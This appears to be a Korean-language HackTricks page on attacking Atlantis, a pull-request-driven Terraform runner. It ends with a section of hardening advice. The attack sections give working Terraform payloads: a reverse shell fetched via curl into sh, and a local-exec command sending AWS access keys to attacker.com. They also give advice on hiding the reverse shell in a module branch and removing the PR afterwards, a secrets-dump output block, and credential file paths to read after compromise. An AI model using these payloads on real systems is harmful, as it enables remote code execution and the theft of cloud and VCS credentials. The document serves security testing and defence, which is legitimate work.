Atlantis Security

htARTE (HackTricks AWS Red Team Expert)에서 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

• 회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드하려면 구독 요금제를 확인하세요!

• 공식 PEASS & HackTricks 스왜그를 구매하세요

• The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션

• 💬 디스코드 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.

• 해킹 요령을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소로 PR을 제출하세요.

기본 정보

아틀란티스는 기본적으로 깃 서버에서 풀 리퀘스트를 통해 테라폼을 실행하는 데 도움을 줍니다.

로컬 랩

1. https://github.com/runatlantis/atlantis/releases의 아틀란티스 릴리스 페이지로 이동하여 적합한 것을 다운로드합니다.

2. 깃허브 사용자의 repo 액세스를 위한 개인 토큰(repo 액세스와 함께)을 생성합니다.

3. ./atlantis testdrive를 실행하면 아틀란티스와 통신할 수 있는 데모 레포가 생성됩니다.

4. 127.0.0.1:4141에서 웹 페이지에 액세스할 수 있습니다.

아틀란티스 액세스

깃 서버 자격 증명

아틀란티스는 깃허브, 깃랩, 비트버킷 및 Azure DevOps와 같은 여러 git 호스트를 지원합니다. 그러나 이러한 플랫폼의 리포지토리에 액세스하고 작업을 수행하려면 일부 특권 액세스 권한이 부여되어야 합니다(쓰기 권한 이상). 문서는 특히 아틀란티스를 위해 이러한 플랫폼에 사용자를 생성하도록 권장하지만 일부 사람들은 개인 계정을 사용할 수 있습니다.

공격자의 관점에서 아틀란티스 계정은 매우 흥미로운 대상이 될 것입니다.

웹훅

아틀란티스는 선택적으로 웹훅 비밀을 사용하여 깃 호스트로부터 받은 웹훅이 정당한지 확인합니다.

이를 확인하는 한 가지 방법은 깃 호스트의 IP에서만 요청을 허용하도록하는 것이지만, 더 쉬운 방법은 웹훅 비밀을 사용하는 것입니다.

개인 github 또는 bitbucket 서버를 사용하지 않는 한 웹훅 엔드포인트를 인터넷에 노출해야 합니다.

아틀란티스는 웹훅을 노출하여 git 서버가 정보를 보낼 수 있도록 합니다. 공격자의 관점에서는 메시지를 보낼 수 있는지 알 수 있는 것이 흥미로울 것입니다.

제공자 자격 증명

문서에서:

아틀란티스는 서버에서 Terraform을 실행하기 위해 단순히 terraform plan 및 apply 명령을 실행합니다. 로컬에서 Terraform을 실행할 때와 마찬가지로 Atlantis는 특정 제공자에 대한 자격 증명이 필요합니다.

특정 제공자에 대한 자격 증명을 Atlantis에 제공하는 방법은 다음과 같습니다:

• Atlantis Helm Chart 및 AWS Fargate Module에는 제공자 자격 증명을 위한 고유한 메커니즘이 있습니다. 해당 문서를 참조하세요.

• 클라우드에서 Atlantis를 실행하는 경우 많은 클라우드에서 클라우드 API 액세스를 제공하는 방법이 있습니다. 예:

  • AWS EC2 Roles ("EC2 Role" 검색)

  • GCE Instance Service Accounts

• 많은 사용자가 Atlantis가 실행되는 위치에서 환경 변수를 설정합니다. 예: AWS_ACCESS_KEY

• 다른 사람들은 Atlantis가 실행되는 위치에 필요한 구성 파일을 생성합니다. 예: ~/.aws/credentials

• 제공자 자격 증명을 얻기 위해 HashiCorp Vault Provider를 사용합니다.

Atlantis가 실행되는 컨테이너에는 Terraform을 통해 Atlantis가 관리하는 제공자(AWS, GCP, Github...)에 대한 특권 자격 증명이 포함되어 있을 가능성이 매우 높습니다.

웹 페이지

기본적으로 Atlantis는 로컬호스트의 포트 4141에서 웹 페이지를 실행합니다. 이 페이지는 단순히 atlantis apply를 활성화/비활성화하고 리포의 계획 상태를 확인하고 잠금을 해제하는 데 사용됩니다(따라서 수정할 수 없으므로 그다지 유용하지 않습니다).

인터넷에 노출되어 있지 않을 가능성이 높지만, 기본적으로 액세스할 때 자격 증명이 필요하지 않은 것으로 보입니다(필요한 경우 atlantis:atlantis가 기본입니다).

서버 구성

atlantis server의 구성은 명령줄 플래그, 환경 변수, 구성 파일 또는 세 가지의 혼합을 통해 지정할 수 있습니다.

• Atlantis 서버에서 지원하는 플래그 목록은 여기에서 찾을 수 있습니다

• 여기에서 구성 옵션을 환경 변수로 변환하는 방법을 찾을 수 있습니다.

값은 다음과 같은 순서로 선택됩니다:

1. 플래그

2. 환경 변수

3. 구성 파일

구성에서 토큰 및 비밀번호와 같은 흥미로운 값이 포함될 수 있음에 유의하세요.

리포 구성

일부 구성은 리포지토리가 관리되는 방식에 영향을 줍니다. 그러나 각 리포지토리가 다른 설정을 요구할 수 있으므로 각 리포지토리를 지정하는 방법이 있습니다. 이는 우선 순위 순서입니다:

1. 리포 /atlantis.yml 파일. 이 파일은 리포지토리를 어떻게 처리할지 지정하는 데 사용될 수 있습니다. 그러나 기본적으로 일부 키는 플래그를 통해 허용하지 않으면 여기에서 지정할 수 없습니다.

2. allowed_overrides 또는 allow_custom_workflows와 같은 플래그에 의해 허용되어야 할 가능성이 높습니다.

3. 서버 측 구성: --repo-config 플래그로 전달할 수 있으며, 각 리포지토리에 대한 새로운 설정을 구성하는 yaml입니다(정규식 지원).

4. 기본 값들

PR Protections

Atlantis는 PR이 **approved**되기를 원하는지 (브랜치 보호에 설정되지 않았더라도) 및/또는 **mergeable**하게 (브랜치 보호가 통과된 후) apply를 실행하기 전에하는지를 지정할 수 있습니다. 보안적인 측면에서 두 옵션을 설정하는 것이 권장됩니다.

allowed_overrides가 True인 경우, 이러한 설정은 각 프로젝트에서 /atlantis.yml 파일로 덮어쓸 수 있습니다.

Scripts

리포지토리 구성은 워크플로우가 실행되기 전(pre workflow hooks)와 후(post workflow hooks)에 실행할 스크립트를 지정할 수 있습니다.

리포지토리 /atlantis.yml 파일에서 이러한 스크립트를 지정하는 옵션이 없습니다.

Workflow

리포지토리 구성(서버 측 구성)에서는 새로운 기본 워크플로우를 지정하거나 새로운 사용자 정의 워크플로우를 생성할 수 있습니다. 또한 생성된 새로운 것에 액세스할 수 있는 리포지토리를 지정할 수 있습니다. 그런 다음, 각 리포지토리의 atlantis.yaml 파일에서 사용할 워크플로우를 지정할 수 있습니다.

서버 측 구성 플래그 allow_custom_workflows가 True로 설정된 경우, 각 리포지토리의 atlantis.yaml 파일에서 워크플로우를 지정할 수 있습니다. 또한 **allowed_overrides**가 사용되어야 할 수도 있으며, 사용할 워크플로우를 덮어쓰기하기 위해 **workflow**도 지정해야 할 수 있습니다. 이는 기본적으로 해당 리포지토리에 액세스할 수 있는 모든 사용자에게 Atlantis 서버에서 RCE를 제공할 수 있습니다.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Conftest 정책 확인

Atlantis는 서버 측 conftest 정책을 계획 출력에 대해 실행하는 것을 지원합니다. 이 단계를 사용하는 일반적인 사례는 다음과 같습니다:

• 모듈 목록 사용 거부

• 생성 시 리소스의 속성 단언

• 의도하지 않은 리소스 삭제 감지

• 보안 위험 방지 (예: 안전한 포트를 공개하는 것)

구성 방법은 문서에서 확인할 수 있습니다.

Atlantis 명령어

문서에서 Atlantis를 실행하는 데 사용할 수 있는 옵션을 찾을 수 있습니다.

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

공격

만약 공격 중에 다음 에러를 발견한다면: Error: Error acquiring the state lock

다음을 실행하여 해결할 수 있습니다:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - 새 PR에서 구성 수정

만약 귀하가 저장소에 쓰기 액세스 권한이 있다면 해당 저장소에 새 브랜치를 생성하고 PR을 생성할 수 있습니다. atlantis plan을 실행할 수 있다면(또는 자동으로 실행되는 경우) Atlantis 서버 내에서 RCE를 실행할 수 있습니다.

이를 수행하는 방법은 Atlantis가 외부 데이터 소스를 로드하도록 하는 것입니다. main.tf 파일에 다음과 같은 payload를 넣으면 됩니다:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

은밀한 공격

이 공격을 더 은밀하게 수행할 수 있습니다. 다음 제안을 따르세요:

• 테라폼 파일에 직접 rev 쉘을 추가하는 대신, rev 쉘을 포함하는 외부 리소스를 로드할 수 있습니다:

module "not_rev_shell" {
source = "[e-mail]:carlospolop/terraform_external_module_rev_shell//modules"
}

rev shell 코드는 https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules에서 찾을 수 있습니다.

• 외부 자원에서는 ref 기능을 사용하여 레포지토리 내의 브랜치에 terraform rev shell 코드를 숨기세요, 다음과 같이: [e-mail]:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

• Atlantis를 트리거하기 위해 master에 PR을 생성하는 대신, 2개의 브랜치(test1 및 test2)를 생성하고 한 브랜치에서 다른 브랜치로 PR을 생성하세요. 공격을 완료하면 PR과 브랜치를 제거하세요.

Atlantis plan Secrets Dump

atlantis plan (terraform plan)을 실행하여 terraform에서 사용된 비밀 정보를 덤프할 수 있습니다. 이를 위해 terraform 파일에 다음과 같은 내용을 넣으세요:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis RCE 적용 - 새 PR에서 구성 수정

만약 귀하가 저장소에 쓰기 액세스 권한이 있다면 해당 저장소에 새 브랜치를 생성하고 PR을 생성할 수 있습니다. atlantis apply를 실행할 수 있다면 Atlantis 서버 내에서 RCE를 실행할 수 있습니다.

그러나 일반적으로 일부 보호 기능을 우회해야 할 수 있습니다:

• 병합 가능: Atlantis에 이 보호 기능이 설정되어 있는 경우, PR이 병합 가능한 경우에만 atlantis apply를 실행할 수 있습니다 (즉, 브랜치 보호를 우회해야 합니다).

• 브랜치 보호 우회를 확인하세요.

• 승인됨: Atlantis에 이 보호 기능이 설정되어 있는 경우, 다른 사용자가 PR을 승인해야만 atlantis apply를 실행할 수 있습니다.

• 기본적으로 Gitbot 토큰을 악용하여 이 보호를 우회할 수 있습니다.

악성 Terraform 파일에서 terraform apply를 실행하면서 local-exec을 사용합니다. 다음과 같은 페이로드가 main.tf 파일에 포함되어 있는지 확인하면 됩니다:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

이전 기술의 제안을 따라 이 공격을 보다 은밀하게 수행하십시오.

Terraform Param Injection

atlantis plan 또는 atlantis apply를 실행할 때 terraform이 필요로 하는 상황에서, atlantis에서 다음과 같이 주석을 달아 terraform에 명령을 전달할 수 있습니다:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

환경 변수를 전달할 수 있는 것 중 일부는 일부 보호를 우회하는 데 도움이 될 수 있습니다. https://www.terraform.io/cli/config/environment-variables에서 Terraform 환경 변수를 확인하세요.

사용자 정의 워크플로우

atlantis.yaml 파일에 지정된 악의적인 사용자 정의 빌드 명령어를 실행합니다. Atlantis는 풀 리퀘스트 브랜치의 atlantis.yaml 파일을 사용하며 master의 것은 사용하지 않습니다. 이 가능성은 이전 섹션에서 언급되었습니다:

만약 서버 측 구성 플래그 allow_custom_workflows가 True로 설정되어 있다면, 각 저장소의 atlantis.yaml 파일에 워크플로우를 지정할 수 있습니다. 또한 사용자가 사용할 워크플로우를 재정의하기 위해 **allowed_overrides**가 또한 **workflow**를 지정해야 할 수도 있습니다.

이것은 기본적으로 해당 저장소에 액세스할 수 있는 모든 사용자에게 Atlantis 서버에서 RCE를 제공할 것입니다.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

우회 계획/적용 보호

만약 서버 측 구성 플래그 allowed_overrides 에 apply_requirements가 구성되어 있다면, 해당 리포지토리가 계획/적용 보호를 우회하여 수정할 수 있습니다.

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

만약 누군가가 유효한 풀 리퀘스트에 atlantis plan/apply 댓글을 남기면, 원하지 않는 상황에서 terraform이 실행될 것입니다.

게다가, 브랜치 보호에 **새로운 커밋이 푸시될 때마다 모든 PR을 재평가하도록 구성하지 않은 경우, 누군가가 terraform 구성에 악성 구성(이전 시나리오 확인)을 작성하고 atlantis plan/apply를 실행하여 RCE를 얻을 수 있습니다.

이것은 Github 브랜치 보호 설정입니다:

Webhook Secret

만약 웹훅 시크릿을 훔치게 되거나 사용 중인 웹훅 시크릿이 없는 경우, Atlantis 웹훅을 호출하고 직접 atlantis 명령을 실행할 수 있습니다.

Bitbucket

Bitbucket Cloud는 웹훅 시크릿을 지원하지 않습니다. 이는 공격자가 Bitbucket에서 요청을 위장할 수 있게 합니다. 오직 Bitbucket IP만 허용하도록 해야 합니다.

• 이는 공격자가 Bitbucket에서 온 것처럼 보이는 Atlantis에 가짜 요청을 만들 수 있게 합니다.

• 만약 --repo-allowlist를 지정하고 있다면, 그들은 해당 리포지토리에 관한 가짜 요청만 만들 수 있기 때문에 가장 큰 피해는 자신의 리포지토리에서 plan/apply를 실행하는 것입니다.

• 이를 방지하기 위해 Bitbucket의 IP 주소를 허용목록에 추가하세요 (Outbound IPv4 주소 참조).

Post-Exploitation

만약 서버에 액세스를 얻었거나 적어도 LFI를 얻었다면 다음을 읽어보는 것이 흥미로울 것입니다:

• /home/atlantis/.git-credentials VCS 액세스 자격 증명 포함

• /atlantis-data/atlantis.db 더 많은 정보가 포함된 VCS 액세스 자격 증명 포함

• /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform 상태 파일

• 예: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

• /proc/1/environ 환경 변수

• /proc/[2-20]/cmdline atlantis server의 명령줄 (민감한 데이터 포함 가능)

Mitigations

공개 리포지토리에서 사용하지 마세요

누구나 공개 풀 리퀘스트에 댓글을 남길 수 있기 때문에, 모든 보안 완화 조치가 가능하더라도, 보안 설정을 적절하게 구성하지 않은 상태에서 공개 리포지토리에서 Atlantis를 실행하는 것은 여전히 위험합니다.

--allow-fork-prs 사용하지 마세요

권장되지 않는 공개 리포지토리에서 실행 중이라면 --allow-fork-prs를 설정하지 마세요 (기본값은 false) - 누구나 자신의 포크에서 당신의 리포지토리로 풀 리퀘스트를 열 수 있기 때문입니다.

--repo-allowlist

Atlantis는 --repo-allowlist 플래그를 통해 웹훅을 수락할 리포지토리의 목록을 지정해야 합니다. 예를 들어:

• 특정 리포지토리: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

• 전체 조직: --repo-allowlist=github.com/runatlantis/*

• GitHub Enterprise 설치의 모든 리포지토리: --repo-allowlist=github.yourcompany.com/*

• 모든 리포지토리: --repo-allowlist=*. 웹훅 시크릿을 설정하지 않은 경우에는 위험하며, 보호된 네트워크에서 사용할 때 유용합니다.

이 플래그는 Atlantis 설치가 제어하지 않는 리포지토리와 함께 사용되지 않도록 합니다. 자세한 내용은 atlantis server --help를 참조하세요.

Terraform Planning 보호

악성 Terraform 코드를 제출하는 공격자가 당신의 위협 모델에 있는 경우, terraform apply 승인만으로 충분하지 않음을 인식해야 합니다. external 데이터 소스를 사용하거나 악성 프로바이더를 지정하여 terraform plan에서 악성 코드를 실행할 수 있습니다. 이 코드는 그런 다음 귀하의 자격 증명을 유출할 수 있습니다.

이를 방지하기 위해 다음을 수행할 수 있습니다:

1. Atlantis 이미지에 프로바이더를 포함하고 프로덕션에서 egress를 거부합니다.

2. 내부적으로 프로바이더 레지스트리 프로토콜을 구현하고 공개 egress를 거부하여 레지스트리에 쓰기 액세스를 제어합니다.

3. 서버 측 리포지토리 구성의 plan 단계를 수정하여 금지된 프로바이더나 데이터 소스 사용 또는 허용되지 않은 사용자의 PR에 대한 유효성을 검사할 수 있습니다. 여기에 추가 검증을 추가할 수도 있습니다. 예를 들어, plan을 계속하기 전에 PR에 "좋아요"를 요구할 수 있습니다. 여기에 Conftest를 사용할 수 있습니다.

웹훅 시크릿

Atlantis는 $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET 환경 변수를 통해 설정된 웹훅 시크릿으로 실행되어야 합니다. --repo-allowlist 플래그가 설정되어 있더라도, 웹훅 시크릿이 없으면, 공격자가 허용된 리포지토리로 위장하여 Atlantis에 요청을 보낼 수 있습니다. 웹훅 시크릿은 웹훅 요청이 실제로 귀하의 VCS 제공업체 (GitHub 또는 GitLab)에서 오는지 확인합니다.

Azure DevOps를 사용하는 경우, 웹훅 시크릿 대신 기본 사용자 이름과 암호를 추가하세요.

Azure DevOps 기본 인증

Azure DevOps는 모든 웹훅 이벤트에서 기본 인증 헤더를 보낼 수 있습니다. 이는 웹훅 위치에 HTTPS URL을 사용해야 합니다.

SSL/HTTPS

웹훅 시크릿을 사용하고 있지만 트래픽이 HTTP를 통해 전송되는 경우 웹훅 시크릿이 유출될 수 있습니다. --ssl-cert-file 및 --ssl-key-file 플래그를 사용하여 SSL/HTTPS를 활성화하세요.

Atlantis 웹 서버에서 인증 활성화

웹 서비스에서 인증을 활성화하는 것이 매우 권장됩니다. --web-basic-auth=true를 사용하여 BasicAuth를 활성화하고 --web-username=yourUsername 및 --web-password=yourPassword 플래그를 사용하여 사용자 이름과 암호를 설정하세요.

환경 변수로도 전달할 수 있습니다. ATLANTIS_WEB_BASIC_AUTH=true, ATLANTIS_WEB_USERNAME=yourUsername, ATLANTIS_WEB_PASSWORD=yourPassword.

References

• https://www.runatlantis.io/docs

• https://www.runatlantis.io/docs/provider-credentials.html

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

• If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!

• Get the official PEASS & HackTricks swag

• Discover The PEASS Family, our collection of exclusive NFTs

• Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @hacktricks_live.

• Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.